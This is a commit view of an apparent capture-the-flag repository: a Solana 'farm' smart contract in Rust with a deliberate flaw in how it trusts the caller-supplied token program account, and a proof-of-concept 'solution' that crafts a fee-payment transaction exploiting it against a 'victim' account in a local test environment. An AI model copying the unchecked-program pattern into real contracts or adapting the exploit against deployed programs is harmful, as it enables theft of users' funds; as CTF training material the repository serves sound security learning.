First commit
This commit is contained in:
parent
4e289b840e
commit
5118474336
33
ctf/.vscode/tasks.json
vendored
Normal file
33
ctf/.vscode/tasks.json
vendored
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
{
|
||||||
|
"version": "2.0.0",
|
||||||
|
"tasks": [
|
||||||
|
{
|
||||||
|
"label": "run poc",
|
||||||
|
"type": "cargo",
|
||||||
|
"command": "run",
|
||||||
|
"args": [
|
||||||
|
"--bin",
|
||||||
|
"poc"
|
||||||
|
],
|
||||||
|
"group": "build",
|
||||||
|
"env": {
|
||||||
|
"RUST_BACKTRACE": "1"
|
||||||
|
},
|
||||||
|
"dependsOn": [
|
||||||
|
"build contracts"
|
||||||
|
]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"label": "build contracts",
|
||||||
|
"type": "cargo",
|
||||||
|
"command": "build-bpf",
|
||||||
|
"args": [
|
||||||
|
"--workspace"
|
||||||
|
],
|
||||||
|
"env": {
|
||||||
|
"RUST_BACKTRACE": "1"
|
||||||
|
},
|
||||||
|
"group": "build",
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
29
ctf/Cargo.toml
Normal file
29
ctf/Cargo.toml
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
[package]
|
||||||
|
name = "ctf-solana-farm"
|
||||||
|
version = "0.1.0"
|
||||||
|
authors = ["lowprivuser"]
|
||||||
|
repository = "https://github.com/solana-labs/solana"
|
||||||
|
license = "Apache-2.0"
|
||||||
|
homepage = "https://solana.com/"
|
||||||
|
edition = "2018"
|
||||||
|
|
||||||
|
[features]
|
||||||
|
no-entrypoint = []
|
||||||
|
test-bpf = []
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
borsh = "0.9.1"
|
||||||
|
borsh-derive = "0.9.1"
|
||||||
|
solana-program = "1.7.8"
|
||||||
|
num-derive = "0.3"
|
||||||
|
num-traits = "0.2"
|
||||||
|
thiserror = "1.0"
|
||||||
|
spl-token = { version = "3.2.0", features = [ "no-entrypoint" ] }
|
||||||
|
|
||||||
|
[dev-dependencies]
|
||||||
|
solana-program-test = "1.7.8"
|
||||||
|
solana-sdk = "1.7.8"
|
||||||
|
|
||||||
|
[lib]
|
||||||
|
name = "ctf_solana_farm"
|
||||||
|
crate-type = ["cdylib", "lib"]
|
2
ctf/Xargo.toml
Normal file
2
ctf/Xargo.toml
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
[target.bpfel-unknown-unknown.dependencies.std]
|
||||||
|
features = []
|
1
ctf/src/constant.rs
Normal file
1
ctf/src/constant.rs
Normal file
@ -0,0 +1 @@
|
|||||||
|
pub const FARM_FEE:u64 = 5000;
|
45
ctf/src/error.rs
Normal file
45
ctf/src/error.rs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
use {
|
||||||
|
num_derive::FromPrimitive,
|
||||||
|
solana_program::{
|
||||||
|
decode_error::DecodeError,
|
||||||
|
program_error::ProgramError
|
||||||
|
},
|
||||||
|
thiserror::Error
|
||||||
|
};
|
||||||
|
|
||||||
|
#[derive(Clone, Debug, Eq, Error, FromPrimitive, PartialEq)]
|
||||||
|
pub enum FarmError {
|
||||||
|
#[error("AlreadyInUse")]
|
||||||
|
AlreadyInUse,
|
||||||
|
|
||||||
|
#[error("InvalidProgramAddress")]
|
||||||
|
InvalidProgramAddress,
|
||||||
|
|
||||||
|
#[error("SignatureMissing")]
|
||||||
|
SignatureMissing,
|
||||||
|
|
||||||
|
#[error("InvalidFeeAccount")]
|
||||||
|
InvalidFeeAccount,
|
||||||
|
|
||||||
|
#[error("WrongPoolMint")]
|
||||||
|
WrongPoolMint,
|
||||||
|
|
||||||
|
#[error("This farm is not allowed yet")]
|
||||||
|
NotAllowed,
|
||||||
|
|
||||||
|
#[error("Wrong Farm Fee")]
|
||||||
|
InvalidFarmFee,
|
||||||
|
|
||||||
|
#[error("Wrong Creator")]
|
||||||
|
WrongCreator,
|
||||||
|
}
|
||||||
|
impl From<FarmError> for ProgramError {
|
||||||
|
fn from(e: FarmError) -> Self {
|
||||||
|
ProgramError::Custom(e as u32)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
impl<T> DecodeError<T> for FarmError {
|
||||||
|
fn type_of() -> &'static str {
|
||||||
|
"Farm Error"
|
||||||
|
}
|
||||||
|
}
|
70
ctf/src/instruction.rs
Normal file
70
ctf/src/instruction.rs
Normal file
@ -0,0 +1,70 @@
|
|||||||
|
#![allow(clippy::too_many_arguments)]
|
||||||
|
|
||||||
|
use {
|
||||||
|
borsh::{BorshDeserialize, BorshSchema, BorshSerialize},
|
||||||
|
solana_program::{
|
||||||
|
instruction::{AccountMeta, Instruction},
|
||||||
|
pubkey::Pubkey,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Debug, PartialEq, BorshSerialize, BorshDeserialize, BorshSchema)]
|
||||||
|
pub enum FarmInstruction {
|
||||||
|
/// Initializes a new Farm.
|
||||||
|
/// These represent the parameters that will be included from client side
|
||||||
|
/// [w] - writable (account), [s] - signer (account), [] - readonly (account)
|
||||||
|
///
|
||||||
|
/// 0. `[w]` farm account
|
||||||
|
/// 1. `[]` farm authority
|
||||||
|
/// 2. `[s]` farm creator
|
||||||
|
/// 3. nonce
|
||||||
|
Create {
|
||||||
|
#[allow(dead_code)]
|
||||||
|
/// nonce
|
||||||
|
nonce: u8,
|
||||||
|
},
|
||||||
|
|
||||||
|
/// Creator has to pay a fee to unlock the farm
|
||||||
|
///
|
||||||
|
/// 0. `[w]` farm account
|
||||||
|
/// 1. `[]` farm authority
|
||||||
|
/// 2. `[s]` farm creator
|
||||||
|
/// 4. `[]` farm creator token account
|
||||||
|
/// 5. `[]` fee vault
|
||||||
|
/// 6. `[]` token program id
|
||||||
|
/// 7. `[]` farm program id
|
||||||
|
/// 8. `[]` amount
|
||||||
|
PayFarmFee(
|
||||||
|
// farm fee
|
||||||
|
u64
|
||||||
|
),
|
||||||
|
}
|
||||||
|
|
||||||
|
/// you can use this helper function to create the PayFarmFee instruction in your client
|
||||||
|
/// see PayFarmFee enum variant above for account breakdown
|
||||||
|
/// please note [amount] HAS TO match the farm fee, otherwise your transaction is going to fail
|
||||||
|
pub fn ix_pay_create_fee(
|
||||||
|
farm_id: &Pubkey,
|
||||||
|
authority: &Pubkey,
|
||||||
|
creator: &Pubkey,
|
||||||
|
creator_token_account: &Pubkey,
|
||||||
|
fee_vault: &Pubkey,
|
||||||
|
token_program_id: &Pubkey,
|
||||||
|
farm_program_id: &Pubkey,
|
||||||
|
amount: u64,
|
||||||
|
) -> Instruction {
|
||||||
|
let accounts = vec![
|
||||||
|
AccountMeta::new(*farm_id, false),
|
||||||
|
AccountMeta::new_readonly(*authority, false),
|
||||||
|
AccountMeta::new(*creator, true),
|
||||||
|
AccountMeta::new(*creator_token_account, false),
|
||||||
|
AccountMeta::new(*fee_vault, false),
|
||||||
|
AccountMeta::new_readonly(*token_program_id, false),
|
||||||
|
];
|
||||||
|
Instruction {
|
||||||
|
program_id: *farm_program_id,
|
||||||
|
accounts,
|
||||||
|
data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(),
|
||||||
|
}
|
||||||
|
}
|
35
ctf/src/lib.rs
Normal file
35
ctf/src/lib.rs
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
use solana_program::{
|
||||||
|
account_info::{ AccountInfo},
|
||||||
|
entrypoint,
|
||||||
|
entrypoint::ProgramResult,
|
||||||
|
program_error::PrintProgramError,
|
||||||
|
pubkey::Pubkey,
|
||||||
|
};
|
||||||
|
|
||||||
|
pub mod error;
|
||||||
|
pub mod instruction;
|
||||||
|
pub mod processor;
|
||||||
|
pub mod state;
|
||||||
|
pub mod constant;
|
||||||
|
|
||||||
|
// this registers the program entrypoint
|
||||||
|
entrypoint!(process_instruction);
|
||||||
|
|
||||||
|
/// this is the program entrypoint
|
||||||
|
/// this function ALWAYS takes three parameters:
|
||||||
|
/// the ID of this program, array of accounts and instruction data
|
||||||
|
pub fn process_instruction(
|
||||||
|
program_id: &Pubkey,
|
||||||
|
accounts: &[AccountInfo],
|
||||||
|
_instruction_data: &[u8],
|
||||||
|
) -> ProgramResult {
|
||||||
|
// process the instruction
|
||||||
|
if let Err(error) = processor::Processor::process(program_id, accounts, _instruction_data) {
|
||||||
|
// revert the transaction and print the relevant error to validator log if processing fails
|
||||||
|
error.print::<error::FarmError>();
|
||||||
|
Err(error)
|
||||||
|
} else {
|
||||||
|
// otherwise return OK
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
182
ctf/src/processor.rs
Normal file
182
ctf/src/processor.rs
Normal file
@ -0,0 +1,182 @@
|
|||||||
|
use {
|
||||||
|
crate::{
|
||||||
|
error::FarmError,
|
||||||
|
instruction::{
|
||||||
|
FarmInstruction
|
||||||
|
},
|
||||||
|
state::{
|
||||||
|
Farm,
|
||||||
|
},
|
||||||
|
constant::{
|
||||||
|
FARM_FEE,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
borsh::{BorshDeserialize, BorshSerialize},
|
||||||
|
num_traits::FromPrimitive,
|
||||||
|
solana_program::{
|
||||||
|
instruction::{
|
||||||
|
AccountMeta,
|
||||||
|
Instruction
|
||||||
|
},
|
||||||
|
account_info::{
|
||||||
|
next_account_info,
|
||||||
|
AccountInfo,
|
||||||
|
},
|
||||||
|
borsh::try_from_slice_unchecked,
|
||||||
|
decode_error::DecodeError,
|
||||||
|
entrypoint::ProgramResult,
|
||||||
|
msg,
|
||||||
|
program::invoke_signed,
|
||||||
|
program_error::PrintProgramError,
|
||||||
|
program_error::ProgramError,
|
||||||
|
program_pack::Pack,
|
||||||
|
pubkey::Pubkey,
|
||||||
|
},
|
||||||
|
spl_token::{
|
||||||
|
instruction::TokenInstruction,
|
||||||
|
state::Account as TokenAccount
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub struct Processor {}
|
||||||
|
impl Processor {
|
||||||
|
/// this is the instruction data router
|
||||||
|
pub fn process(program_id: &Pubkey, accounts: &[AccountInfo], input: &[u8]) -> ProgramResult {
|
||||||
|
let instruction = FarmInstruction::try_from_slice(input)?;
|
||||||
|
|
||||||
|
// here we route the data based on instruction type
|
||||||
|
match instruction {
|
||||||
|
// pay the farm fee
|
||||||
|
FarmInstruction::PayFarmFee(amount) => {
|
||||||
|
Self::process_pay_farm_fee(program_id, accounts, amount)
|
||||||
|
},
|
||||||
|
|
||||||
|
// otherwise return an error
|
||||||
|
_ => Err(FarmError::NotAllowed.into())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// this function handles farm fee payment
|
||||||
|
/// by default, farms are not allowed (inactive)
|
||||||
|
/// farm creator has to pay 5000 tokens to enable the farm
|
||||||
|
pub fn process_pay_farm_fee(
|
||||||
|
program_id: &Pubkey,
|
||||||
|
accounts: &[AccountInfo],
|
||||||
|
amount: u64,
|
||||||
|
) -> ProgramResult {
|
||||||
|
let account_info_iter = &mut accounts.iter();
|
||||||
|
|
||||||
|
let farm_id_info = next_account_info(account_info_iter)?;
|
||||||
|
let authority_info = next_account_info(account_info_iter)?;
|
||||||
|
let creator_info = next_account_info(account_info_iter)?;
|
||||||
|
let creator_token_account_info = next_account_info(account_info_iter)?;
|
||||||
|
let fee_vault_info = next_account_info(account_info_iter)?;
|
||||||
|
let token_program_info = next_account_info(account_info_iter)?;
|
||||||
|
let mut farm_data = try_from_slice_unchecked::<Farm>(&farm_id_info.data.borrow())?;
|
||||||
|
|
||||||
|
if farm_data.enabled == 1 {
|
||||||
|
return Err(FarmError::AlreadyInUse.into());
|
||||||
|
}
|
||||||
|
|
||||||
|
if !creator_info.is_signer {
|
||||||
|
return Err(FarmError::SignatureMissing.into())
|
||||||
|
}
|
||||||
|
|
||||||
|
if *creator_info.key != farm_data.creator {
|
||||||
|
return Err(FarmError::WrongCreator.into());
|
||||||
|
}
|
||||||
|
|
||||||
|
if *authority_info.key != Self::authority_id(program_id, farm_id_info.key, farm_data.nonce)? {
|
||||||
|
return Err(FarmError::InvalidProgramAddress.into());
|
||||||
|
}
|
||||||
|
|
||||||
|
if amount != FARM_FEE {
|
||||||
|
return Err(FarmError::InvalidFarmFee.into());
|
||||||
|
}
|
||||||
|
|
||||||
|
let fee_vault_owner = TokenAccount::unpack_from_slice(&fee_vault_info.try_borrow_data()?)?.owner;
|
||||||
|
|
||||||
|
|
||||||
|
if fee_vault_owner != *authority_info.key {
|
||||||
|
return Err(FarmError::InvalidFeeAccount.into())
|
||||||
|
}
|
||||||
|
|
||||||
|
Self::token_transfer(
|
||||||
|
farm_id_info.key,
|
||||||
|
token_program_info.clone(),
|
||||||
|
creator_token_account_info.clone(),
|
||||||
|
fee_vault_info.clone(),
|
||||||
|
creator_info.clone(),
|
||||||
|
farm_data.nonce,
|
||||||
|
amount
|
||||||
|
)?;
|
||||||
|
|
||||||
|
farm_data.enabled = 1;
|
||||||
|
|
||||||
|
farm_data
|
||||||
|
.serialize(&mut *farm_id_info.data.borrow_mut())
|
||||||
|
.map_err(|e| e.into())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// this function validates the farm authority address
|
||||||
|
pub fn authority_id(
|
||||||
|
program_id: &Pubkey,
|
||||||
|
my_info: &Pubkey,
|
||||||
|
nonce: u8,
|
||||||
|
) -> Result<Pubkey, FarmError> {
|
||||||
|
Pubkey::create_program_address(&[&my_info.to_bytes()[..32], &[nonce]], program_id)
|
||||||
|
.or(Err(FarmError::InvalidProgramAddress))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// this function facilitates token transfer
|
||||||
|
pub fn token_transfer<'a>(
|
||||||
|
pool: &Pubkey,
|
||||||
|
token_program: AccountInfo<'a>,
|
||||||
|
source: AccountInfo<'a>,
|
||||||
|
destination: AccountInfo<'a>,
|
||||||
|
authority: AccountInfo<'a>,
|
||||||
|
nonce: u8,
|
||||||
|
amount: u64,
|
||||||
|
) -> Result<(), ProgramError> {
|
||||||
|
let pool_bytes = pool.to_bytes();
|
||||||
|
let authority_signature_seeds = [&pool_bytes[..32], &[nonce]];
|
||||||
|
let signers = &[&authority_signature_seeds[..]];
|
||||||
|
|
||||||
|
let data = TokenInstruction::Transfer { amount }.pack();
|
||||||
|
|
||||||
|
let mut accounts = Vec::with_capacity(4);
|
||||||
|
accounts.push(AccountMeta::new(*source.key, false));
|
||||||
|
accounts.push(AccountMeta::new(*destination.key, false));
|
||||||
|
accounts.push(AccountMeta::new_readonly(*authority.key, true));
|
||||||
|
|
||||||
|
let ix = Instruction {
|
||||||
|
program_id: *token_program.key,
|
||||||
|
accounts,
|
||||||
|
data,
|
||||||
|
};
|
||||||
|
|
||||||
|
invoke_signed(
|
||||||
|
&ix,
|
||||||
|
&[source, destination, authority, token_program],
|
||||||
|
signers,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PrintProgramError for FarmError {
|
||||||
|
fn print<E>(&self)
|
||||||
|
where
|
||||||
|
E: 'static + std::error::Error + DecodeError<E> + PrintProgramError + FromPrimitive,
|
||||||
|
{
|
||||||
|
match self {
|
||||||
|
FarmError::AlreadyInUse => msg!("Error: account already in use"),
|
||||||
|
FarmError::InvalidProgramAddress => msg!("Error: the program address provided doesn't match the value generated by the program"),
|
||||||
|
FarmError::SignatureMissing => msg!("Error: signature missing"),
|
||||||
|
FarmError::InvalidFeeAccount => msg!("Error: fee vault mismatch"),
|
||||||
|
FarmError::WrongPoolMint => msg!("Error: pool mint incorrect"),
|
||||||
|
FarmError::NotAllowed => msg!("Error: farm not allowed"),
|
||||||
|
FarmError::InvalidFarmFee => msg!("Error: farm fee incorrect. should be {}",FARM_FEE),
|
||||||
|
FarmError::WrongCreator => msg!("Error: creator mismatch"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
19
ctf/src/state.rs
Normal file
19
ctf/src/state.rs
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
#![allow(clippy::too_many_arguments)]
|
||||||
|
use {
|
||||||
|
borsh::{BorshDeserialize, BorshSchema, BorshSerialize},
|
||||||
|
solana_program::{
|
||||||
|
pubkey::{Pubkey},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
#[repr(C)]
|
||||||
|
#[derive(Clone, Debug, Default, PartialEq, BorshDeserialize, BorshSerialize, BorshSchema)]
|
||||||
|
/// this structs describes a Farm
|
||||||
|
/// all farms are disabled by default
|
||||||
|
pub struct Farm {
|
||||||
|
pub enabled: u8,
|
||||||
|
pub nonce: u8,
|
||||||
|
pub token_program_id: Pubkey,
|
||||||
|
pub creator: Pubkey,
|
||||||
|
pub fee_vault: Pubkey,
|
||||||
|
}
|
16
solution/Cargo.toml
Normal file
16
solution/Cargo.toml
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
[package]
|
||||||
|
name = "poc_solana"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
solana-program = "1.8.2"
|
||||||
|
borsh = "0.9.1"
|
||||||
|
borsh-derive = "0.9.1"
|
||||||
|
spl-token = { version = "*", features = ["no-entrypoint"] }
|
||||||
|
owo-colors = "3.1.0"
|
||||||
|
solana-logger = "1.8.2"
|
||||||
|
poc-framework = { version = "0.1.2" }
|
||||||
|
ctf-solana-farm = { path = "../ctf", features = ["no-entrypoint"] }
|
74
solution/src/bin/main.rs
Normal file
74
solution/src/bin/main.rs
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
use std::{env, str::FromStr};
|
||||||
|
|
||||||
|
|
||||||
|
use ctf_solana_farm::state::Farm;
|
||||||
|
use ctf_solana_farm::instruction::ix_pay_create_fee;
|
||||||
|
use poc_framework::{
|
||||||
|
keypair, solana_sdk::signer::Signer, Environment, LocalEnvironment, PrintableTransaction
|
||||||
|
};
|
||||||
|
use solana_program::{pubkey::Pubkey, native_token::sol_to_lamports};
|
||||||
|
use borsh::BorshSerialize;
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
setup();
|
||||||
|
}
|
||||||
|
pub fn get_vault_address(authority: Pubkey, wallet_program: Pubkey) -> Pubkey {
|
||||||
|
let (vault_address, _) = Pubkey::find_program_address(
|
||||||
|
&[&authority.to_bytes(), &"VAULT".as_bytes()],
|
||||||
|
&wallet_program,
|
||||||
|
);
|
||||||
|
vault_address
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
fn setup() -> u8 {
|
||||||
|
let mut dir = env::current_exe().unwrap();
|
||||||
|
let path = {
|
||||||
|
dir.pop();
|
||||||
|
dir.pop();
|
||||||
|
dir.push("deploy");
|
||||||
|
dir.push("ctf_solana_farm.so");
|
||||||
|
dir.to_str()
|
||||||
|
}
|
||||||
|
.unwrap();
|
||||||
|
let program = Pubkey::from_str("W4113t3333333333333333333333333333333333333").unwrap();
|
||||||
|
|
||||||
|
let farm = keypair(123);
|
||||||
|
let authority = Pubkey::create_program_address(&[&farm.pubkey().to_bytes(), &[12]], &program).unwrap();
|
||||||
|
let victim = keypair(4);
|
||||||
|
let mint = keypair(5);
|
||||||
|
|
||||||
|
let mut env = LocalEnvironment::builder()
|
||||||
|
.add_program(program, path)
|
||||||
|
.add_account_with_tokens(victim.pubkey(), mint.pubkey(), farm.pubkey(), sol_to_lamports(31337.0))
|
||||||
|
.add_account_with_lamports(
|
||||||
|
authority,
|
||||||
|
program,
|
||||||
|
sol_to_lamports(100000.0))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
|
||||||
|
let farm_vec = Farm {
|
||||||
|
enabled: 0,
|
||||||
|
nonce: 12,
|
||||||
|
token_program_id: program,
|
||||||
|
creator: farm.pubkey(),
|
||||||
|
fee_vault: farm.pubkey()
|
||||||
|
};
|
||||||
|
env.create_account_with_data(&farm, farm_vec.try_to_vec().unwrap());
|
||||||
|
env.execute_as_transaction(
|
||||||
|
&[ix_pay_create_fee(
|
||||||
|
&farm.pubkey(),
|
||||||
|
&authority,
|
||||||
|
&farm.pubkey(),
|
||||||
|
&farm.pubkey(),
|
||||||
|
&victim.pubkey(),
|
||||||
|
&program,
|
||||||
|
&program,
|
||||||
|
5000
|
||||||
|
)],
|
||||||
|
&[&farm])
|
||||||
|
.print();
|
||||||
|
|
||||||
|
1
|
||||||
|
}
|
Loading…
x
Reference in New Issue
Block a user